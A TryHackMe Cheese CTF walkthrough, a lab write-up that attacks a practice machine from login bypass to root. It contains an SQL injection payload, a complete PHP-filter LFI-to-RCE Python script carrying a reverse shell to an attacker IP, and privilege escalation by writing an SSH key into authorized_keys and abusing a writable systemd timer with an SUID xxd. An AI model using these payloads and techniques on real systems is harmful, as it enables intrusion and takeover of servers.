Cheese CTF - Try hack me walkthrough
Today we are going to solve a free challenge of try hack me, named Cheese CTF. It was a easy flagged challenge. Let's solve it.
Task 1 - Start your VM!
Q1. Start the VM.
No Answer Needed
Task 2 - Flags
Q1. What is the user.txt flag?
As a regular ctf player, I started the machine and waited several minutes for loading the machine. When I got the ip address of the machine then I ran port scan using NMAP.
Command: nmap -sC -sV -A 10.201.32.136 -oN cheese.nmap
It show a lot of open ports, so I tried only port 80 & 22 using -p 80,22. And I found these ports open. Then I opened the ip into browser, there is a web server like following :

There is a login functionality, which takes me to /login.php endpoint.

I tried sqli for auth and it works in first attempt. I used following payload ' 'a'='a' -- -

It redirects me to an admin panel, which looks like :

After doing some investigation, when I tried /etc/passwd in the value of file parameter in url then I got the contents of the file. I thought that I would be able to read all the file but I could not due to permissions.

After doing some researches I got to know that there is a php filter is being used that can be exploited to get a rce. Basically there was lfi2rce using php filters. I got a python script that uses php filters to run commands on the web server.
So I generated a php revshell with the help of revshells. Which looks like :
'php -r \'$sock=fsockopen("10.17.33.117",9001);passthru("sh <&3 >&3 2>&3");\'’. And the whole script.py is following:
import requests
url = "http://10.201.32.136/secret-script.php"
file_to_use = "php://temp"
command = 'php -r '$sock=fsockopen("10.17.33.117",9001);passthru("sh <&3 >&3 2>&3");'’
#<?=$_GET[0];;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
#generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
#get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
Then I setup a nc listener on the port which I mentioned in the reverse shell payload. And when I executed the script, I got the shell. Not a interactive shell but still we can work with it.

I changed the current directory to /tmp so that I can run the linpeas easily. In my machine I started a python serve (python -m http.server 80) then on the cheese ctf machine I made the linpeas executable (chmod +x linpeas.sh). Run the script ./linpeas.sh

After spending some time to observe the output, I found that there is a critical file (authorized_keys) of user comte is writable for us, that means if we wrote our public key in that file that we can access that user's account using ssh+our_private_key without knowing the password of that comte user.

I used following commands to generate the files, writing to authorized_keys, connecting through ssh.
- Key Generation ssh-keygen -t rsa -b 4096 It will ask for the path/filename where it stores the keys. It will create 2 files on the given path
- filename (private key)
- filename.pub (public key)
- Writing 2 authorized_keysecho "PASTE_YOUR_PUBLIC_KEY" > /home/comte/.ssh/authorized_keys
- Permission chmod 600 filename it is necessary to give 600 permission to the private key file.
- SSH connection ssh comte@10.201.32.136 -i filename It will give you a prompt, type yes than press enter.
Now you are logged in successfully into the comte user account. Use ls command to list out the files. You will find the user.txt flag there. cat user.txt to get the user flag.

Answer 👉 THM{9**ce3df*****caf695b3*****c682704c*****a}
Q2. What is the root.txt flag?
Now it the time to read the root flag. When I ran the linpeas I shaw another critical finding but I was not aware about that at that time. But when I was struggling to find the root flag then a got to know about it.

This timer functionality is similar to the cron jobs where you can schedule a task. In this functionality first you have to create a service (the task) and a timer (scheduler). System will execute the service by following the time mentioned in timer file.
When checked the permission of file /etc/systemd/system/exploit.timer I shaw that everyone have full permissions. And the contents of the file (OnBootSec=) say's that it would not run because time is not set. So you have to set the time OnBootSec = 0 and then save the file.

When I shaw the contents of exploit.service, which is gonna run. I noticed that it is setting the SUID + executable permissions on a binary /opt/xxd. xxd is generally used to deal with hex values of a file.

Now I restarted the exploit.timer using command sudo systemctl restart exploit.timer. make sure you are in same directory or use absolute path
Let's check that executable binary with suid is in /opt/ directory or not, using ls -la command.

Now lets enter in that directory I mean change the directory using cd /opt command. and run following command to read the root.txt
Command ./xxd "/root/root.txt" | xxd -r
Now you can get the flag....

Answer 👉 THM{d***5*****481**07faf*****a929*11e5*****c}
Task 3 - Credits
Q1. Finish!
No Answer Needed